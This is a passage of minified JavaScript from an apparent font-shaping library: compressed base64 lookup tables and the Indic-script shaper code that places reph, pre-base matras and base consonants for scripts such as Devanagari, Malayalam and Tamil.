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&quot;)),Iye=new EH(V4(eq));class Ls extends Fm{static planFeatures(t){t.addStage(jye),t.addStage([&quot;locl&quot;,&quot;ccmp&quot;]),t.addStage(Sye),t.addStage(&quot;nukt&quot;),t.addStage(&quot;akhn&quot;),t.addStage(&quot;rphf&quot;,!1),t.addStage(&quot;rkrf&quot;),t.addStage(&quot;pref&quot;,!1),t.addStage(&quot;blwf&quot;,!1),t.addStage(&quot;abvf&quot;,!1),t.addStage(&quot;half&quot;,!1),t.addStage(&quot;pstf&quot;,!1),t.addStage(&quot;vatu&quot;),t.addStage(&quot;cjct&quot;),t.addStage(&quot;cfar&quot;,!1),t.addStage(Bye),t.addStage({local:[&quot;init&quot;],global:[&quot;pres&quot;,&quot;abvs&quot;,&quot;blws&quot;,&quot;psts&quot;,&quot;haln&quot;,&quot;dist&quot;,&quot;abvm&quot;,&quot;blwm&quot;,&quot;calt&quot;,&quot;clig&quot;]}),t.unicodeScript=Ave(t.script),t.indicConfig=LT[t.unicodeScript]||LT.Default,t.isOldSpec=t.indicConfig.hasOldSpec&amp;&amp;t.script[t.script.length-1]!==&quot;2&quot;}static assignFeatures(t,r){for(let n=r.length-1;n&gt;=0;n--){let i=r[n].codePoints[0],s=Eye[i]||Cye[i];if(s){let o=s.map(l=&gt;{let c=t.font.glyphForCodePoint(l);return new q0(t.font,c.id,[l],r[n].features)});r.splice(n,1,...o)}}}}Bc(Ls,&quot;zeroMarkWidths&quot;,&quot;NONE&quot;);function TN(e){return rq.get(e.codePoints[0])&gt;&gt;8}function nq(e){return 1&lt;&lt;(rq.get(e.codePoints[0])&amp;255)}class t5{constructor(t,r,n,i){this.category=t,this.position=r,this.syllableType=n,this.syllable=i}}function jye(e,t){let r=0,n=0;for(let[i,s,o]of Iye.match(t.map(TN))){if(i&gt;n){++r;for(let l=n;l&lt;i;l++)t[l].shaperInfo=new t5(Gn.X,ln.End,&quot;non_indic_cluster&quot;,r)}++r;for(let l=i;l&lt;=s;l++)t[l].shaperInfo=new t5(1&lt;&lt;TN(t[l]),nq(t[l]),o[0],r);n=s+1}if(n&lt;t.length){++r;for(let i=n;i&lt;t.length;i++)t[i].shaperInfo=new t5(Gn.X,ln.End,&quot;non_indic_cluster&quot;,r)}}function zp(e){return e.shaperInfo.category&amp;wye}function jd(e){return e.shaperInfo.category&amp;tq}function Rf(e){return e.shaperInfo.category&amp;Zx}function Lf(e,t){for(let n of e)n.features={[t]:!0};return e[0]._font._layoutEngine.engine.GSUBProcessor.applyFeatures([t],e),e.length===1}function Nye(e,t,r){let n=[r,t,r];return Lf(n.slice(0,2),&quot;blwf&quot;)||Lf(n.slice(1,3),&quot;blwf&quot;)?ln.Below_C:Lf(n.slice(0,2),&quot;pstf&quot;)||Lf(n.slice(1,3),&quot;pstf&quot;)||Lf(n.slice(0,2),&quot;pref&quot;)||Lf(n.slice(1,3),&quot;pref&quot;)?ln.Post_C:ln.Base_C}function Sye(e,t,r){let n=r.indicConfig,i=e._layoutEngine.engine.GSUBProcessor.features,s=e.glyphForCodePoint(9676).id,o=e.glyphForCodePoint(n.virama).id;if(o){let l=new q0(e,o,[n.virama]);for(let c=0;c&lt;t.length;c++)t[c].shaperInfo.position===ln.Base_C&amp;&amp;(t[c].shaperInfo.position=Nye(e,t[c].copy(),l))}for(let l=0,c=Bw(t,0);l&lt;t.length;l=c,c=Bw(t,l)){let{category:d,syllableType:u}=t[l].shaperInfo;if(u===&quot;symbol_cluster&quot;||u===&quot;non_indic_cluster&quot;)continue;if(u===&quot;broken_cluster&quot;&amp;&amp;s){let S=new q0(e,s,[9676]);S.shaperInfo=new t5(1&lt;&lt;TN(S),nq(S),t[l].shaperInfo.syllableType,t[l].shaperInfo.syllable);let _=l;for(;_&lt;c&amp;&amp;t[_].shaperInfo.category===Gn.Repha;)_++;t.splice(_++,0,S),c++}let h=c,p=l,A=!1;if(n.rephPos!==ln.Ra_To_Become_Reph&amp;&amp;i.rphf&amp;&amp;l+3&lt;=c&amp;&amp;(n.rephMode===&quot;Implicit&quot;&amp;&amp;!jd(t[l+2])||n.rephMode===&quot;Explicit&quot;&amp;&amp;t[l+2].shaperInfo.category===Gn.ZWJ)){let S=[t[l].copy(),t[l+1].copy(),t[l+2].copy()];if(Lf(S.slice(0,2),&quot;rphf&quot;)||n.rephMode===&quot;Explicit&quot;&amp;&amp;Lf(S,&quot;rphf&quot;)){for(p+=2;p&lt;c&amp;&amp;jd(t[p]);)p++;h=l,A=!0}}else if(n.rephMode===&quot;Log_Repha&quot;&amp;&amp;t[l].shaperInfo.category===Gn.Repha){for(p++;p&lt;c&amp;&amp;jd(t[p]);)p++;h=l,A=!0}switch(n.basePos){case&quot;Last&quot;:{let S=c,_=!1;do{let C=t[--S].shaperInfo;if(zp(t[S])){if(C.position!==ln.Below_C&amp;&amp;(C.position!==ln.Post_C||_)){h=S;break}C.position===ln.Below_C&amp;&amp;(_=!0),h=S}else if(l&lt;S&amp;&amp;C.category===Gn.ZWJ&amp;&amp;t[S-1].shaperInfo.category===Gn.H)break}while(S&gt;p);break}case&quot;First&quot;:h=l;for(let S=h+1;S&lt;c;S++)zp(t[S])&amp;&amp;(t[S].shaperInfo.position=ln.Below_C)}A&amp;&amp;h===l&amp;&amp;p-h&lt;=2&amp;&amp;(A=!1);for(let S=l;S&lt;h;S++){let _=t[S].shaperInfo;_.position=Math.min(ln.Pre_C,_.position)}h&lt;c&amp;&amp;(t[h].shaperInfo.position=ln.Base_C);for(let S=h+1;S&lt;c;S++)if(t[S].shaperInfo.category===Gn.M){for(let _=S+1;_&lt;c;_++)if(zp(t[_])){t[_].shaperInfo.position=ln.Final_C;break}break}if(A&amp;&amp;(t[l].shaperInfo.position=ln.Ra_To_Become_Reph),r.isOldSpec){let S=r.unicodeScript!==&quot;Malayalam&quot;;for(let _=h+1;_&lt;c;_++)if(t[_].shaperInfo.category===Gn.H){let C;for(C=c-1;C&gt;_&amp;&amp;!(zp(t[C])||S&amp;&amp;t[C].shaperInfo.category===Gn.H);C--);if(t[C].shaperInfo.category!==Gn.H&amp;&amp;C&gt;_){let Q=t[_];t.splice(_,0,...t.splice(_+1,C-_)),t[C]=Q}break}}let y=ln.Start;for(let S=l;S&lt;c;S++){let _=t[S].shaperInfo;if(_.category&amp;(tq|Gn.N|Gn.RS|Gn.CM|Zx&amp;_.category)){if(_.position=y,_.category===Gn.H&amp;&amp;_.position===ln.Pre_M){for(let C=S;C&gt;l;C--)if(t[C-1].shaperInfo.position!==ln.Pre_M){_.position=t[C-1].shaperInfo.position;break}}}else _.position!==ln.SMVD&amp;&amp;(y=_.position)}let v=h;for(let S=h+1;S&lt;c;S++)if(zp(t[S])){for(let _=v+1;_&lt;S;_++)t[_].shaperInfo.position&lt;ln.SMVD&amp;&amp;(t[_].shaperInfo.position=t[S].shaperInfo.position);v=S}else t[S].shaperInfo.category===Gn.M&amp;&amp;(v=S);let w=t.slice(l,c);w.sort((S,_)=&gt;S.shaperInfo.position-_.shaperInfo.position),t.splice(l,w.length,...w);for(let S=l;S&lt;c;S++)if(t[S].shaperInfo.position===ln.Base_C){h=S;break}for(let S=l;S&lt;c&amp;&amp;t[S].shaperInfo.position===ln.Ra_To_Become_Reph;S++)t[S].features.rphf=!0;let j=!r.isOldSpec&amp;&amp;n.blwfMode===&quot;Pre_And_Post&quot;;for(let S=l;S&lt;h;S++)t[S].features.half=!0,j&amp;&amp;(t[S].features.blwf=!0);for(let S=h+1;S&lt;c;S++)t[S].features.abvf=!0,t[S].features.pstf=!0,t[S].features.blwf=!0;if(r.isOldSpec&amp;&amp;r.unicodeScript===&quot;Devanagari&quot;)for(let S=l;S+1&lt;h;S++)t[S].shaperInfo.category===Gn.Ra&amp;&amp;t[S+1].shaperInfo.category===Gn.H&amp;&amp;(S+1===h||t[S+2].shaperInfo.category===Gn.ZWJ)&amp;&amp;(t[S].features.blwf=!0,t[S+1].features.blwf=!0);let E=2;if(i.pref&amp;&amp;h+E&lt;c)for(let S=h+1;S+E-1&lt;c;S++){let _=[t[S].copy(),t[S+1].copy()];if(Lf(_,&quot;pref&quot;)){for(let C=0;C&lt;E;C++)t[S++].features.pref=!0;if(i.cfar)for(;S&lt;c;S++)t[S].features.cfar=!0;break}}for(let S=l+1;S&lt;c;S++)if(jd(t[S])){let _=t[S].shaperInfo.category===Gn.ZWNJ,C=S;do C--,_&amp;&amp;delete t[C].features.half;while(C&gt;l&amp;&amp;!zp(t[C]))}}}function Bye(e,t,r){let n=r.indicConfig,i=e._layoutEngine.engine.GSUBProcessor.features;for(let s=0,o=Bw(t,0);s&lt;t.length;s=o,o=Bw(t,s)){let l=!!i.pref,c=s;for(;c&lt;o;c++)if(t[c].shaperInfo.position&gt;=ln.Base_C){if(l&amp;&amp;c+1&lt;o){for(let d=c+1;d&lt;o;d++)if(t[d].features.pref){if(!(t[d].substituted&amp;&amp;t[d].isLigated&amp;&amp;!t[d].isMultiplied)){for(c=d;c&lt;o&amp;&amp;Rf(t[c]);)c++;t[c].shaperInfo.position=ln.BASE_C,l=!1}break}}if(r.unicodeScript===&quot;Malayalam&quot;)for(let d=c+1;d&lt;o;d++){for(;d&lt;o&amp;&amp;jd(t[d]);)d++;if(d===o||!Rf(t[d]))break;for(d++;d&lt;o&amp;&amp;jd(t[d]);)d++;d&lt;o&amp;&amp;zp(t[d])&amp;&amp;t[d].shaperInfo.position===ln.Below_C&amp;&amp;(c=d,t[c].shaperInfo.position=ln.Base_C)}s&lt;c&amp;&amp;t[c].shaperInfo.position&gt;ln.Base_C&amp;&amp;c--;break}if(c===o&amp;&amp;s&lt;c&amp;&amp;t[c-1].shaperInfo.category===Gn.ZWJ&amp;&amp;c--,c&lt;o)for(;s&lt;c&amp;&amp;t[c].shaperInfo.category&amp;(Gn.N|Zx);)c--;if(s+1&lt;o&amp;&amp;s&lt;c){let d=c===o?c-2:c-1;if(r.unicodeScript!==&quot;Malayalam&quot;&amp;&amp;r.unicodeScript!==&quot;Tamil&quot;){for(;d&gt;s&amp;&amp;!(t[d].shaperInfo.category&amp;(Gn.M|Zx));)d--;Rf(t[d])&amp;&amp;t[d].shaperInfo.position!==ln.Pre_M?d+1&lt;o&amp;&amp;jd(t[d+1])&amp;&amp;d++:d=s}if(s&lt;d&amp;&amp;t[d].shaperInfo.position!==ln.Pre_M){for(let u=d;u&gt;s;u--)if(t[u-1].shaperInfo.position===ln.Pre_M){let h=u-1;h&lt;c&amp;&amp;c&lt;=d&amp;&amp;c--;let p=t[h];t.splice(h,0,...t.splice(h+1,d-h)),t[d]=p,d--}}}if(s+1&lt;o&amp;&amp;t[s].shaperInfo.position===ln.Ra_To_Become_Reph&amp;&amp;t[s].shaperInfo.category===Gn.Repha!==(t[s].isLigated&amp;&amp;!t[s].isMultiplied)){let d,u=n.rephPos,h=!1;if(u!==ln.After_Post){for(d=s+1;d&lt;c&amp;&amp;!Rf(t[d]);)d++;if(d&lt;c&amp;&amp;Rf(t[d])&amp;&amp;(d+1&lt;c&amp;&amp;jd(t[d+1])&amp;&amp;d++,h=!0),!h&amp;&amp;u===ln.After_Main){for(d=c;d+1&lt;o&amp;&amp;t[d+1].shaperInfo.position&lt;=ln.After_Main;)d++;h=d&lt;o}if(!h&amp;&amp;u===ln.After_Sub){for(d=c;d+1&lt;o&amp;&amp;!(t[d+1].shaperInfo.position&amp;(ln.Post_C|ln.After_Post|ln.SMVD));)d++;h=d&lt;o}}if(!h){for(d=s+1;d&lt;c&amp;&amp;!Rf(t[d]);)d++;d&lt;c&amp;&amp;Rf(t[d])&amp;&amp;(d+1&lt;c&amp;&amp;jd(t[d+1])&amp;&amp;d++,h=!0)}if(!h){for(d=o-1;d&gt;s&amp;&amp;t[d].shaperInfo.position===ln.SMVD;)d--;if(Rf(t[d]))for(let A=c+1;A&lt;d;A++)t[A].shaperInfo.category===Gn.M&amp;&amp;d--}let p=t[s];t.splice(s,0,...t.splice(s+1,d-s)),t[d]=p,s&lt;c&amp;&amp;c&lt;=d&amp;&amp;c--}if(l&amp;&amp;c+1&lt;o){for(let d=c+1;d&lt;o;d++)if(t[d].features.pref){if(t[d].isLigated&amp;&amp;!t[d].isMultiplied){let u=c;if(r.unicodeScript!==&quot;Malayalam&quot;&amp;&amp;r.unicodeScript!==&quot;Tamil&quot;){for(;u&gt;s&amp;&amp;!(t[u-1].shaperInfo.category&amp;(Gn.M|Zx));)u--;if(u&gt;s&amp;&amp;t[u-1].shaperInfo.category===Gn.M){let A=d;for(let y=c+1;y&lt;A;y++)if(t[y].shaperInfo.category===Gn.M){u--;break}}}u&gt;s&amp;&amp;Rf(t[u-1])&amp;&amp;u&lt;o&amp;&amp;jd(t[u])&amp;&amp;u++;let h=d,p=t[h];t.splice(u+1,0,...t.splice(u,h-u)),t[u]=p,u&lt;=c&amp;&amp;c&lt;h&amp;&amp;c++}break}}t[s].shaperInfo.position===ln.Pre_M&amp;&amp;(!s||!/Cf|Mn/.test(l0(t[s-1].codePoints[0])))&amp;&amp;(t[s].features.init=!0)}}function Bw(e,t){if(t&gt;=e.length)return t;let r=e[t].shaperInfo.syllable;for(;++t&lt;e.length&amp;&amp;e[t].shaperInfo.syllable===r;);return t}const{categories:kye,decompositions:MT}=V4(X4),_ye=new by(oB(&quot;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